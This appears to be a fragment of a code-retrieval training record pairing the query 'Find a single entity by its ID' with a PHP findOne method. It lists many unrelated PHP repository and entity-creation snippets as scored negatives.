"public function testItCanCreateEntity()\n {\n $values = [\n 'first_name' => 'First name account',\n 'last_name' => 'Last name account',\n 'email' => '[email protected]',\n ];\n $ignore = [\n 'is_active' => false,\n 'is_superuser' => true,\n 'is_staff' => true,\n ];\n $password = 'testpass';\n\n $entity = $this->accountService->create(array_merge(\n $values,\n ['password' => $password],\n $ignore\n ));\n $data = $entity->toArray();\n\n $this->assertDatabaseHas('user_users', $values);\n $this->assertInstanceOf(User::class, $entity);\n $this->assertTrue(Hash::check($password, $entity->password));\n $this->assertTrue($entity->is_active);\n $this->assertFalse($entity->is_superuser);\n $this->assertFalse($entity->is_staff);\n\n foreach ($this->dataStructure() as $key) {\n $this->assertArrayHasKey($key, $data);\n }\n }",
"public function __construct( )\n {\n $this->genericRepository = new DtGenericRepository();\n $this->genericRepository->type = \"\\App\\Models\\Objects\\Entities\\Account\";\n }",
"public function createEntity($entityId, $request)\n {\n return $this->start()->uri(\"/api/entity\")\n ->urlSegment($entityId)\n ->bodyHandler(new JSONBodyHandler($request))\n ->post()\n ->go();\n }",
"protected function getEntityRepository()\n {\n return $this->getDoctrine()->getRepository('HomeBundle:LogRecord');\n }",
"public function createEntity($resource)\n {\n return $this->createEntities($resource);\n }",
"protected abstract function importCreate($entity);",
"private static function createEntityManager() {\n $isDevMode = true;\n $config = Setup::createAnnotationMetadataConfiguration(array(__DIR__ . \"/src/entities\"), $isDevMode, null, null, false);\n // or if you prefer yaml or XML\n //$config = Setup::createXMLMetadataConfiguration(array(__DIR__.\"/config/xml\"), $isDevMode);\n //$config = Setup::createYAMLMetadataConfiguration(array(__DIR__.\"/config/yaml\"), $isDevMode);\n\n // database configuration parameters\n $conn = array(\n 'driver' => 'pdo_mysql',\n 'host' => 'localhost',\n 'dbname' => 'mydb',\n 'user' => 'root',\n 'password' => 'root',\n 'unix_socket' => '/Applications/MAMP/tmp/mysql/mysql.sock',\n 'server_version' => '5.6.38',\n );\n\n // obtaining the entity manager\n self::$entityManager = EntityManager::create($conn, $config);\n }",
"public function store(Requests\\CreateRepositoryRequest $request)\n {\n Repository::create($request->request->all());\n return redirect()->route('create.repository');\n }",
"protected function createEntity($data) {\n\n if(!empty($this->model_class)) {\n \n $this->createModelInstance($data);\n\n } else {\n \n $this->entity = $data;\n\n }\n \n }",
"public function create(EntityManager $manager, array $data, $id = null);",
"function db_create_account($account)\n{\n $em = DbEntity::getInstance()->getEntityManager();\n $em->persist($account);\n $em->flush();\n return $account;\n}",
"static function appCreateEntity($entityName, $prefijo = '') {\n\n self::getConection();\n\n $entityBuilder = new EntityBuilder(self::$conectionDB, $entityName, $prefijo);\n\n $entityFile = ucfirst(str_replace($prefijo, \"\", $entityName));\n\n $model = $entityBuilder->GetModel();\n $fileModel = \"../../entities/models/{$entityFile}Entity.class.php\";\n\n $method = $entityBuilder->GetMethod();\n $fileMethod = \"../../entities/methods/{$entityFile}.class.php\";\n\n $okModel = self::createArchive($fileModel, $model);\n $okMethod = self::createArchive($fileMethod, $method);\n\n $result = array();\n ($okModel) ? array_push($result, \"Ok, {$fileModel} created\") : array_push($result, \"ERROR creating {$fileModel}\");\n ($okMethod) ? array_push($result, \"Ok, {$fileMethod} created\") : array_push($result, \"ERROR creating {$fileMethod}\");\n\n return $result;\n }",
"abstract function newRepoInstance($mongoDb, $collection, $persistable = null);",
"public function create(array $attributes)\n {\n $model = $this->model->newInstance($attributes);\n $model->save();\n\n $this->resetModel();\n\n event(new RepositoryEntityCreated($this, $model));\n\n return $model;\n }",
"public function actionCreate()\n\t{\n\t\t$model=new Repository;\n\n\t\t// Uncomment the following line if AJAX validation is needed\n\t\t// $this->performAjaxValidation($model);\n\n\t\tif(isset($_POST['Repository']))\n\t\t{\n\t\t\t$model->attributes=$_POST['Repository'];\n\t\t\tif($model->save())\n\t\t\t\t$this->redirect(array('admin'));\n\t\t}\n\n\t\t$this->render('create',array(\n\t\t\t'model'=>$model,\n\t\t));\n\t}",
"public function init(string $model_type): Repository;",
"public function create($data = array()) { \r\n \tforeach(array_keys($data) as $name) {\r\n \t\t$this->_checkAttributesValue($data, $name);\r\n \t}\r\n \t\r\n \treturn $entity = new $this->_entityClass($this, $this->_getPrimary(), $data);\r\n }",
"public function newEntity(array $data, array $options = []): EntityInterface;",
"public function createEntity($attributes){\n\n $finalAttributes = [];\n\n foreach ($attributes as $key => $attribute) {\n\n if ($key != '') {\n\n $result = CrudHelper::array_search_key($key, $this->fields);\n\n if (isset($result['type']) && $result['type'] == 'manyToOne') {\n\n if ($attribute != '') {\n\n foreach ($this->relations as $relationKey => $relation) {\n if ($relationKey == $result['relation']) {\n\n $dictionary = \\App::make($relation['model'])->where($result['column'], '=', strtolower($attribute))->first();\n\n //TODO I can also add here auto create related entries\n if (!empty($dictionary)) {\n $attribute = $dictionary->id;\n } else {\n $attribute = null;\n }\n }\n }\n }\n\n }\n\n $finalAttributes[$key] = $attribute;\n }\n\n }\n\n return $this->repo->create($finalAttributes,$this->entity);\n\n }",
"public function repository(Store $store)\n {\n return new Repository($store); \n }",
"public function createRepository(CreateRepository $repository)\n {\n /** @var RepositoryResponse $response */\n $response = $this->apiClient->createRepository(['body' => new RepositoryRequest($repository)]);\n\n return $response->getRepository();\n }",
"public function getRepository($entityName)\n {\n if (!class_exists($entityName)) {\n throw new \\RuntimeException(sprintf('Given entity %s does not exist', $entityName));\n }\n\n if (null === $repository = $this->getRepositoryClassName($entityName)) {\n $repository = 'Al\\Component\\QuickBase\\Model\\Repository';\n }\n\n return new $repository($this);\n }",
"protected function createEntityInstance($entityName) {\n\t\tif (is_subclass_of($entityName, '\\vBuilder\\Orm\\ActiveEntity')) {\t\n\t\t\treturn $this->context->repository->create($entityName);\n\t\t}\n\t\tthrow new Nette\\InvalidArgumentException(\"An entity must be a subclass of vBuilder\\Orm\\ActiveEntity!\");\n\t}",
"public function newEmptyEntity(): EntityInterface;",
"public function repositoryCreate(Request $createInfo): int\n {\n }",
"public function create(array $params)\n { \n $entity = $this->getRepository()->newEntity();\n $entity->uid = $this->getRepository()->generateUID();\n return $this->update($entity, $params);\n\n }",
"public function create(): Entity\n {\n $entity = $this->newEntity();\n $body = $this->transaction->getBody();\n $entity->fromSource($body);\n $entityId = $entity->getEntityId();\n\n if ($entityId) {\n $key = $entityId->getPrimitiveValue();\n $this->enumerable[$key] = $entity->toArray();\n } else {\n $this->enumerable[] = $entity->toArray();\n $entity->setEntityId($this->enumerable->count() - 1);\n }\n\n return $entity;\n }",
"public function create() {}",
"protected function execute($arguments = array(), $options = array()) {\n new sfDatabaseManager($this->configuration);\n\n $repo = RepositoryTable::getInstance()->findOrCreateByNameAndOwnerName($arguments['repository'], $arguments['username']);\n }",
"public function create(\\stdClass $data)\n {\n // Determine entity name\n $entity = $this->getRepository()->getClassName();\n\n /**\n * Create new entity\n *\n * @var Entity $entity\n */\n $entity = new $entity();\n\n // Before callback method call\n if (method_exists($this, 'beforeCreate')) {\n $this->beforeCreate($data, $entity);\n }\n\n // Create or update entity\n $this->persistEntity($entity, $data);\n\n // After callback method call\n if (method_exists($this, 'afterCreate')) {\n $this->afterCreate($data, $entity);\n }\n\n return $entity;\n }",
"public function createEntity(array $attributes) {\n return $this->entityManager->createEntity($attributes);\n }",
"protected function createEntity($entityType, $values) {\n $entity = \\Drupal::entityManager()->getStorage($entityType)->create($values);\n $status = $entity->save();\n\n $this->assertEqual(\n $status,\n SAVED_NEW,\n SafeMarkup::format('Created %label entity %type.', [\n '%label' => $entity->getEntityType()->getLabel(),\n '%type' => $entity->id()]\n )\n );\n\n return $entity;\n }",
"public function createData(EntityManager $em);",
"public function create(): VirtualEntity\n {\n throw new Exception('Virtual entity provider is missing a `create` implementation');\n }",
"public function getRepository(): TableRepository;",
"public function getRepository($className);",
"public function __construct(EmployeeRepo $repo)\n {\n $this->repo = $repo;\n }",
"protected function getEntityRepository()\n {\n return 'KGCSharedBundle:Client';\n }",
"public function createGit()\n {\n if($GLOBALS['TL_CONFIG']['bx_git_path'])\n {\n $gitPath = TL_ROOT.$GLOBALS['TL_CONFIG']['bx_git_path'];\n }else{\n $gitPath = TL_ROOT.\"/\";\n }\n\n $git = new GitPhp\\GitRepository($gitPath);\n $git->init()->execute();\n \n //Set Remote\n $url = explode(\"://\", $GLOBALS['TL_CONFIG']['bx_git_host_url']);\n $git->remote()->setUrl('origin', $url[0].\"://\".$GLOBALS['TL_CONFIG']['bx_git_host_user'].\":\".$GLOBALS['TL_CONFIG']['bx_git_host_pass'].\"@\".$url[1]);\n }",
"public function create(Storable $entity): Storable\n {\n $this->getRepository(get_class($entity))->create($entity);\n $this->attach($entity);\n\n return $entity;\n }",
"public function create() {\n //\n }",
"public function create() {\n //\n }",
"public function create() {\n //\n }",
"public function create() {\n //\n }",
"public function create() {\n //\n }",
"public function create() {\n //\n }"
]
| [
"0.711492",
"0.7114224",
"0.70714235",
"0.69964325",
"0.6855201",
"0.684504",
"0.6758192",
"0.67476976",
"0.67397094",
"0.6662075",
"0.64260864",
"0.6419657",
"0.6399393",
"0.6362547",
"0.63008744",
"0.6198018",
"0.6156663",
"0.61478394",
"0.61251986",
"0.6092348",
"0.6064094",
"0.6055819",
"0.6055819",
"0.6041722",
"0.6039324",
"0.60275817",
"0.6007671",
"0.6003168",
"0.59772056",
"0.5949742",
"0.5948462",
"0.59383225",
"0.59203756",
"0.58692825",
"0.5859122",
"0.58582366",
"0.5845851",
"0.5838905",
"0.5788331",
"0.57840824",
"0.57675004",
"0.5748314",
"0.57473814",
"0.57366836",
"0.5721062",
"0.569485",
"0.5686828",
"0.5681678",
"0.5677536",
"0.56438726",
"0.5642771",
"0.5624897",
"0.5618886",
"0.56127745",
"0.5607166",
"0.5598196",
"0.5584756",
"0.5584032",
"0.5580011",
"0.5574472",
"0.55608565",
"0.5554216",
"0.55506814",
"0.5535",
"0.55238056",
"0.5520433",
"0.55173045",
"0.5509393",
"0.55068594",
"0.5505081",
"0.549845",
"0.5480719",
"0.54722536",
"0.54557264",
"0.5437143",
"0.5437005",
"0.5432651",
"0.54312027",
"0.5407535",
"0.54049975",
"0.54037935",
"0.538904",
"0.53852004",
"0.5372064",
"0.5371393",
"0.5362215",
"0.5359928",
"0.5347197",
"0.53353256",
"0.5330852",
"0.53193325",
"0.53179634",
"0.5304713",
"0.529913",
"0.52787614",
"0.52743644",
"0.52743644",
"0.52743644",
"0.52743644",
"0.52743644",
"0.52743644"
]
| 0.0 | -1 |
Find a single entity by its ID | public function findOne(int $id): ?Entity
{
return $this->findOneBy([
'id' => $id,
]);
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function findEntity($id);",
"public static function find($id);",
"public static function findById($id);",
"public function find($entity_id);",
"public function find($id)\n { \n $entity = $this->_find($id);\n return $entity;\n }",
"public function findById ($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function find($id);",
"public function findEntityById($id)\n {\n if (isset($this->entities[$id])) {\n return $this->entities[$id];\n }\n }",
"function findById($id);",
"abstract public function find($id);",
"function find($id);",
"public function find( $id );",
"public function find($id = null) {\n $argument = $id?? $this->request->fetch('id')?? null;\n return $this->model->find($argument);\n }",
"public function find(int $id)\n { // attention pour cette interpolation il faut des doubles guillemets.\n $query = $this->pdo->prepare(\"SELECT * FROM {$this->table} WHERE id = :id\");\n $query->execute(['id' => $id]);\n $entity = $query->fetch();\n return $entity;\n }",
"public function findById($id);",
"public function findById($id);",
"public function findById($id);",
"public function findById($id);",
"public function findById($id);",
"public function findById($id);",
"public function findById($id);",
"public function findById($id);",
"public function findById($id);",
"public function findById($id);",
"public function findById($id);",
"public function findById($id);",
"public function findById($id);",
"public function findById($id);",
"public function findById($id);",
"public function findById($id);",
"public function findById($id);",
"public function findById($id);",
"public function findById($id)\n {\n return $this->getEntityRepository()->find($id);\n }",
"public function find($id)\n {\n return $this->getRepository()->find($id);\n }",
"public function find($id)\n {\n return $this->getRepository()->find($id);\n }",
"public function find($id)\n {\n return $this->getRepository()->find($id);\n }",
"public function find(int $id) ;",
"public function findById(int $id);",
"public function findById(int $id);",
"public function findOne(int $id);",
"public function fetchSingleById($id);",
"public function fetchSingleById($id);",
"public static function findById($id)\n {\n }",
"public function findById() {\n // TODO: Implement findById() method.\n }",
"public function find($id) {\r\n\t\t// Tries first the identity cache\r\n\t\tif($this->_hasIdentity($id)) {\r\n\t\t\treturn $this->_getIdentity($id);\r\n\t\t}\r\n\t\t// Else get entity from table\r\n\t\t$rowset = $this->_getGateway()->find($id);\r\n\t\tif(count($rowset)) {\r\n\t\t\treturn $this->_rowToEntity($rowset->current());\r\n\t\t}\r\n\t}",
"public function find($entity, $id) {\n if (!$this->getClient())\n $this->setError('Could not access Bullhorn API Client');\n // create query\n $request = new stdClass;\n $request->session = $this->getSessionKey();\n $request->entityName = $entity;\n $request->id = new SoapVar($id, XSD_INT, 'int', \"http://www.w3.org/2001/XMLSchema\");\n // do query\n try {\n $response = $this->getClient()->find($request);\n } catch (SoapFault $fault) {\n $this->setError($fault->getMessage());\n }\n // return\n return $response->return->dto;\n }",
"public function find($id)\r\n {\r\n return $this->repository->find($id);\r\n }",
"function findById($id)\n {\n }",
"public function find($id)\n {\n return $this->findOneBy(['id' => $id]);\n }",
"public function findOne($id)\n {\n // Before callback method call\n if (method_exists($this, 'beforeFindOne')) {\n $this->beforeFindOne($id);\n }\n\n $entity = $this->getRepository()->find($id);\n\n // After callback method call\n if (method_exists($this, 'afterFindOne')) {\n $this->afterFindOne($id, $entity);\n }\n\n return $entity;\n }",
"public function findById($id)\n {\n return $this->findOneBy(['id' => $id]);\n }",
"public static function findById($id)\n\t{\n\t\n\t}",
"public function find($id)\n\t{\n\t\treturn $this->model->where(\"id\", \"=\", $id)->first();\n\t}",
"public function find($id)\n {\n $prepSql = \"SELECT {$this->_columnNames} FROM `{$this->_tableName}` \"\n . 'WHERE `id` = ? ';\n $pstmt = $this->_prepare($prepSql);\n $bindings = [$id];\n\n $pstmt->execute($bindings);\n \n $dbRecord = $pstmt->fetch(\\PDO::FETCH_ASSOC);\n $pstmt->closeCursor();\n \n $entity = $this->_toEntity($dbRecord);\n \n return $entity;\n }",
"public function returnFindByPK($id);",
"public function get($id) {\r\n\treturn $this->getRepository()->find($id);\r\n }",
"static public function find($id) {\n return static::getMapper()->find($id);\n }",
"public static function findById($id)\n {\n return static::findOne(['id' => $id]);\n }",
"public function find($id)\n {\n // Reading from cache first\n if ($this->_cache->has($id)) {\n return $this->_cache->get($id);\n }\n \n $prepSql = \"SELECT {$this->_columnNames} FROM `{$this->_tableName}` \"\n . \"WHERE `id` = ?\";\n $pstmt = $this->_prepare($prepSql);\n $bindings = [$id];\n\n $pstmt->execute($bindings);\n \n $dbRecord = $pstmt->fetch(\\PDO::FETCH_ASSOC);\n $pstmt->closeCursor();\n $entity = $this->_toEntity($dbRecord);\n \n // Now that we have retrieved the Entity, let's add it to the cache\n $this->_cache->set($id, $entity);\n \n return $entity;\n }",
"public function find($id)\n {\n }",
"public function find($id)\n {\n }",
"public function find($id)\n {\n }",
"public function getById() {}",
"public function findOneBy($id)\n {\n // TODO: Implement findOneBy() method.\n }",
"protected function findEntity($id, $repositoryName=\"\")\n {\n return $this->getRepository($repositoryName)->find($id);\n }",
"public function findById($id)\n {\n }",
"public function findById($id)\n {\n }",
"public function findById($id)\n {\n }",
"public function findById($id)\n {\n }",
"public static function find($id, $key = 'id');",
"public function retrieveById($id);",
"public function findByID($id){\n return $this->Find(self::TABLE,$id);\n }",
"public function find($entityName, $id) {\n return $this->setEntity($entityName)->entityRepository->find($id);\n }",
"public function getOne($id)\n {\n return $this->repository->find($id);\n }",
"public static function find($id)\n {\n return self::findOneBy(['id' => $id]);\n }",
"public function find($id)\n {\n return $this->mainRepository->find($id);\n }",
"public function find($id)\n {\n return $this->repository->find($id);\n }",
"public function findOne($id)\n {\n return $this->model->find($id);\n }",
"public static function find($id = null)\n {\n if ($id === null) {\n return static::query();\n }\n\n $many = static::findMany(array($id));\n\n if (count($many) <> 1) {\n return false;\n }\n $result = $many[0];\n\n if($result instanceof Entity) {\n return $result;\n }\n return false;\n }"
]
| [
"0.8737379",
"0.8078148",
"0.8074369",
"0.8053337",
"0.7998187",
"0.7898133",
"0.7874651",
"0.7874651",
"0.7874651",
"0.7874651",
"0.7874651",
"0.7874651",
"0.7874651",
"0.7874651",
"0.7874651",
"0.7874651",
"0.7874651",
"0.7874651",
"0.7874651",
"0.7874651",
"0.7874651",
"0.7874651",
"0.7874651",
"0.7874651",
"0.7874651",
"0.7874651",
"0.7874651",
"0.7874651",
"0.7874651",
"0.7841711",
"0.78397316",
"0.7781473",
"0.7755027",
"0.77489763",
"0.7746075",
"0.7731965",
"0.7694579",
"0.7694579",
"0.7694579",
"0.7694579",
"0.7694579",
"0.7694579",
"0.7694579",
"0.7694579",
"0.7694579",
"0.7694579",
"0.7694579",
"0.7694579",
"0.7694579",
"0.7694579",
"0.7694579",
"0.7694579",
"0.7694579",
"0.7694579",
"0.76886535",
"0.76680976",
"0.76680976",
"0.76680976",
"0.7649486",
"0.76471686",
"0.76471686",
"0.76024354",
"0.7554471",
"0.7554471",
"0.75198305",
"0.7516532",
"0.74614656",
"0.7447047",
"0.7441357",
"0.74373645",
"0.743452",
"0.7422377",
"0.7419881",
"0.7416484",
"0.7406491",
"0.7385778",
"0.73849696",
"0.7381992",
"0.73774385",
"0.73757714",
"0.7361374",
"0.7346767",
"0.7346767",
"0.7346767",
"0.7313377",
"0.7293377",
"0.7290101",
"0.7280429",
"0.7280429",
"0.7280429",
"0.7280429",
"0.7275272",
"0.7266732",
"0.72608745",
"0.72602475",
"0.72470593",
"0.723636",
"0.72167534",
"0.7209278",
"0.72005695",
"0.71911764"
]
| 0.0 | -1 |
Find a single entity by searching for column values | public function findOneBy(array $fields): ?Entity
{
$gen = $this->findBy($fields, 1);
$records = iterator_to_array($gen, false);
if (empty($records)) {
return null;
}
return current($records);
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function findBy(string $column, $value, array $columns = ['*']): ?Model;",
"public function findOneBy($column, $value, array $where = array());",
"public function find($primaryValue);",
"public function findBy($field, $value);",
"public function findBy($value);",
"public function findCriteria()\r\n\t{\n\t\t$result = $this -> connection -> setTable($this -> entity)\n\t\t\t\t\t\t\t\t\t -> fetch();\r\n\n\t\treturn $result;\r\n\t}",
"public function find($arg) {\n if ($arg instanceof IFilterable) {\n $condition = $arg->resultFilter();\n } else {\n $condition = $this->getPrimaryKeyCondition($arg);\n }\n \n $this->_dataHandler->select('*', $this->_table, $condition);\n return $this->_dataHandler->fetchObject();\n }",
"function find($entity, $model = FALSE)\n {\n $retval = NULL;\n // Get primary key of the entity\n $pkey = $this->object->get_primary_key_column();\n if (!is_numeric($entity)) {\n $entity = isset($entity->{$pkey}) ? intval($entity->{$pkey}) : FALSE;\n }\n // If we have an entity ID, then get the record\n if ($entity) {\n $results = $this->object->select()->where_and(array(\"{$pkey} = %d\", $entity))->limit(1, 0)->run_query();\n if ($results) {\n $retval = $model ? $this->object->convert_to_model($results[0]) : $results[0];\n }\n }\n return $retval;\n }",
"public function findBy($field, $value, $columns = ['*'])\n {\n return $this->model->where($field, '=', $value)->first($columns);\n }",
"public function findBy($field, $value, $columns = array('*'))\n {\n return $this->model->where($field, '=', $value)->first($columns);\n }",
"public function findBy(array $params, $columns = ['*'])\n {\n return $this ->model ->where($params)\n ->select($columns)\n ->first();\n }",
"public function getBy(array $where): ?IEntity;",
"function findBy($column, $keyword)\n {\n // TODO: Implementation\n }",
"abstract public function findBy($attributes, $value);",
"public function findBy($attribute, $value, $columns = array('*'), $con = \"=\")\n {\n return $this->model->where($attribute, $con, $value)->first($columns);\n }",
"public function findOne(array $where);",
"public abstract function find();",
"public static function find(string $column, $value):? ModelInterface\n {\n return self::get()->where($column, '=', $value)->one();\n }",
"public function findBy($attribute, $value, $columns = array('*'))\n {\n return $this->model->where($attribute, '=', $value)->first($columns);\n }",
"public function findBy($attribute, $value, $columns = array('*'))\n {\n return $this->model->where($attribute, '=', $value)->first($columns);\n }",
"public static function find_by($column, $value) {\n\t\t$sql = 'SELECT * FROM ' . static::$table . ' WHERE ' . $column . ' = ? LIMIT 1;';\n\t\t$query = DBH()->prepare($sql);\n\t\t$query->execute(array($value));\n\t\tif ($query->rowCount() == 0) {\n\t\t\treturn false;\n\t\t} else {\n\t\t\treturn self::resemble($query->fetch());\n\t\t}\n\t}",
"public function findOne() {\n $this->buildSql();\n $rows = $this->db->findOne($this->sql);\n return $rows;\n }",
"public function find($value);",
"public function findBy($field, $value)\n {\n return $this->model->where($field, $value)->firstOrFail();\n }",
"public function find($key, array $columns = ['*']): ?Model;",
"public function returnFindByField($field);",
"public function findFirstWhere(string $column, string $operator, $value): ?Model;",
"public function findFirstWhere(array $columns)\n {\n return $this->entity->where($columns)->first();\n }",
"private function findExistingObjectByRow(\\PHPExcel_Worksheet_Row $row) {\n\t\t$query = $this->getDomainRepository()->createQuery();\n\t\t$constraints = array();\n\t\t$mappingIdentifierProperties = $this->getMappingIdentifierProperties();\n\t\tforeach ($mappingIdentifierProperties as $property => $columnMapping) {\n\t\t\t$column = $columnMapping['column'];\n\t\t\t/** @var Mapping $mapping */\n\t\t\t$mapping = $columnMapping['mapping'];\n\t\t\t$propertyName = $mapping->queryPropertyName ?: $property;\n\t\t\t/** @var \\PHPExcel_Worksheet_RowCellIterator $cellIterator */\n\t\t\t$cellIterator = $row->getCellIterator($column, $column);\n\t\t\t$value = $cellIterator->current()->getValue();\n\t\t\t$constraints[] = $query->equals($propertyName, $value);\n\t\t}\n\t\t$argumentIdentifierProperties = $this->getArgumentIdentifierProperties();\n\t\t$contextArguments = $this->settings[$this->spreadsheetImport->getContext()]['arguments'];\n\t\tforeach ($argumentIdentifierProperties as $property => $value) {\n\t\t\t$key = array_search($property, array_column($contextArguments, 'name'));\n\t\t\tif ($key !== FALSE && array_key_exists('queryPropertyName', $contextArguments[$key])) {\n\t\t\t\t$property = $contextArguments[$key]['queryPropertyName'];\n\t\t\t}\n\t\t\t$constraints[] = $query->equals($property, $value);\n\t\t}\n\t\tif (!empty($constraints)) {\n\t\t\treturn $query->matching($query->logicalAnd($constraints))->execute()->getFirst();\n\t\t} else {\n\t\t\treturn NULL;\n\t\t}\n\t}",
"public function findOneBy( $value = NULL, $field = 'id', array $columns = ['*'] );",
"public abstract function find($primary_key, $model);",
"abstract protected function findOneBy(array $criteria);",
"public function findBy(string $column, $value)\n {\n return CustomField::where($column, $value)->get();\n }",
"public function find(array $where);",
"public function findWhere(String $column, $value, String $operator = '=');",
"public function find($entity_id);",
"public function __get($column) {\n\t\tif ($column == 'search') {\n\t\t\tif (isset($this->_related[$column])) {\n\t\t\t\treturn $this->_related[$column];\n\t\t\t}\n\n\t\t\t$model = $this->_related($column);\n\n\t\t\t// Use this model's primary key value and foreign model's column\n\t\t\t$col = $model->_object_name.'.'.$this->_belongs_to[$column]['foreign_key'];\n\t\t\t$val = $this->guid;\n\n\t\t\t$model->where($col, '=', $val)->find();\n\t\t}\n\n\t\treturn parent::__get($column);\n\t}",
"public function findFirstWhere(String $column, $value, String $operator = '=');",
"public function findEntity($id);",
"public function findOneBy($criteria);",
"public static function findOne($condition);",
"public function find();",
"public static function findBy($field, $value = null, $columns = ['*'])\n {\n return static::where($field, '=', $value)->first($columns);\n }",
"public function findFirst();",
"public function entitySearch($type, $field, $value) {\n return $this->typeManager->getStorage($type)\n ->getQuery()\n ->condition($field, $value)\n ->accessCheck(FALSE)\n ->execute();\n }",
"public function findOneBy($column, $value, array $where = array()) {\n\t\t$where[$column] = $value;\n\t\treturn static::findOne($where);\n\t}",
"public function findBy($value, $field = 'id')\n {\n return call_user_func_array([$this->modelClass, 'where'], [$field, $value])->first();\n }",
"public function findBy($column, $value) {\n\n return $this->getTableInfoscript()->getTableGateway()->select(\n\n function (Select $select) use ($column, $value) {\n\n $infoTable = $this->getTableInfoscript()->getTableGateway()->getTable();\n\n $select = $this->joinWithInseratTable($select);\n $select->where(sprintf('%s.%s=%s', $infoTable, $column, $value));\n\n return $select;\n }\n );\n }",
"public function findOne(array $where): object{ // [email => [email protected], first_name => sabo]\n $tableName = static::tableName();\n $attributes = array_keys($where);\n // $array = array_map(fn($attr) =>\"$attr = :$attr\", $attributes);\n // $combining = implode(\"AND\", $array);\n $query = implode(\"AND\", array_map(fn($attr) =>\"$attr = :$attr\", $attributes));\n $st = self::prepare(\n \"SELECT * FROM $tableName\n WHERE $query\"\n );\n foreach($where as $key => $item){\n $st->bindValue(\":$key\", $item);\n }\n $st->execute();\n return $st->fetchObject(static::class);\n }",
"public function findBy($column, $value)\n\t{\n\t\t$arr = array();\n\t\tforeach($this as $item) {\n\t\t\tif($item->$column == $value) $arr[] = $item;\n\t\t}\n\t\treturn new DataTable($arr);\n\t}",
"public function findBy(string $field, $value, array $columns = ['*'])\n {\n return $this->model\n ->where($field, '=', $value)\n ->get($columns);\n }",
"public static function find($id, $columns = ['*'])\n {\n $keyName = (new static)->getKeyName();\n if (is_array($keyName)) {\n $row = static::where($id)->first($columns);\n } else {\n $row = static::where($keyName, '=', $id)->first($columns);\n }\n\n// if (!$row) {\n// throw new NotFound('Cannot found model '.static::class);\n// }\n return $row;\n }",
"public function find(callable $predicate): Maybe;",
"public function findBy($key,$value){ \n $arraytoret = array();\n $query='select *\n from Usuario\n where '.$key.'='.$value;\n $results = $this->driver->exec($query);\n return $this->factory($results);\n}",
"public static function find($value, $column, $table) \n\t\t{\n\t\t\t// check table against a list of known tables\n\t\t\tif(!array_key_exists($table, Db::$tables))\n\t\t\t\tthrow new Exception(\"That table name does not exist in the database.\");\n\t\t\telse \n\t\t\t{\n\t\t\t\t$sub = Db::$tables[$table];\n\t\t\t\tif(!in_array($column, $sub, true))\n\t\t\t\t\tthrow new Exception(\"The column name does not exist in the database.\");\n\t\t\t}\n\n\t\t\t$socket = new Connect();\n\t\t\t$con = $socket->getConnection();\n\n\t\t\t// hack to force prepared statement to allow variable table names, SQL injection wont occur since checking against const array\n\t\t\t$first = \"SELECT * FROM \" . $table . \" WHERE \" . $column . \"='\" . $value . \"'\";\n\t\t\t$select = $con->prepare($first);\n\t\t\tif(!$select->execute())\n\t\t\t\tthrow new Exception(\"Could not perform select query from find by id function in php Db class.\");\n\n\t\t\t$results = $select->fetchAll(PDO::FETCH_CLASS);\n\t\t\tif(!count($results))\n\t\t\t\treturn false; \n\n\t\t\tif(sizeof($results) == 1)\n\t\t\t\t$results = $results[0];\n\n\t\t\treturn $results;\n\t\t}",
"public function findByField($field, $value, $columns = array('*'))\n {\n $this->applyCriteria();\n $result = $this->query->where($field,'=',$value)->get();\n return $this->parserResult( $result );\n }",
"protected function find(string $value, string $column, bool $throwable = true): ?ProductModel\n {\n $query = $this->parseQuery()->where($column, $value);\n\n return $throwable ? $query->firstOrFail() : $query->first();\n }",
"public function findOneBy($columnName, $value)\r\n {\r\n $column = $this->getColName($columnName);\r\n $this->where($column, '=', $value);\r\n \r\n return $this->findOne();\r\n }",
"public function find($data);",
"public function findAllBy( $value = NULL, $field = NULL, array $columns = ['*'] );",
"public function findColumn(string $column);",
"function findById($db, $table, $primaryKey, $value, $options = '') {\n\t$query = 'SELECT * FROM ' . $table . ' WHERE ' . $primaryKey . '= :value ' . ' ' . $options ;\n\n\t$parameters = [\n\t\t'value' => $value\n\t];\n\n\t$result = runQuery($db, $query, $parameters);\n\n\treturn $result;\n}",
"public function findOneBy($column, $value, array $where = array()) {\n\t\tif ($column !== 'meta_key' && $column !== 'key') {\n\t\t\tthrow new InvalidArgumentException(\"Invalid column '$column'\");\n\t\t}\n\t\t$where[$column] = $value;\n\t\treturn static::findOne($where);\n\t}",
"public function findOneBy(array $criteria);",
"public function findOneBy(array $criteria);",
"public function findOneBy(array $criteria);",
"public function findByField($field, $value = null, $columns = ['*'])\n {\n $this->applyScopes();\n $this->applyQueryScope();\n\n $model = $this->model->where($field, '=', $value)->get($columns);\n\n $this->resetModel();\n\n return $model;\n }",
"static function find($args) {\n\t\t// Por ejemplo la siguiente consulta SQL:\n\t\t// SELECT usuario FROM usuarios WHERE $args['campo'] = $args['valor']\n\t}",
"public static function find($parameters=null) {}",
"public static function findOne($where, $class){\n $tableName = $class::tableName();\n $attributes = array_keys($where);\n $sql = implode(\"AND \", array_map(fn($attr) => \"$attr = :$attr\", $attributes));\n $statement = self::prepare(\"SELECT * FROM $tableName WHERE $sql\");\n foreach($where as $key => $item){\n $statement->bindValue(\":$key\", $item);\n }\n \n $statement->execute();\n return $statement->fetchObject(static::class);\n }",
"public function findByName(String $name);",
"public function getByKeyValue($key, $value)\n {\n foreach ($this->entities as $entity)\n {\n $values = $entity->getValues(array($key));\n if ($values[$key] === $value)\n {\n return $entity; \n }\n }\n \n return null;\n }",
"public function findBy(array $where = []);",
"public function returnFindByPK($id);",
"public function findBy($field, $value, $operator = '=');",
"public static function locate($column, $value)\n {\n $table = new static();\n $select = $table->select()\n ->where(\"{$table->getAdapter()->quoteIdentifier($column)} = ?\", $value)\n ->limit(1);\n\n return $table->fetchRow($select);\n }",
"public function findByField($field, $value = null, $columns = array('*'))\n {\n $model = $this->model->where($field, '=', $value)->get($columns)->first();\n\n return $this->parserResult($model);\n }",
"abstract function find($query);",
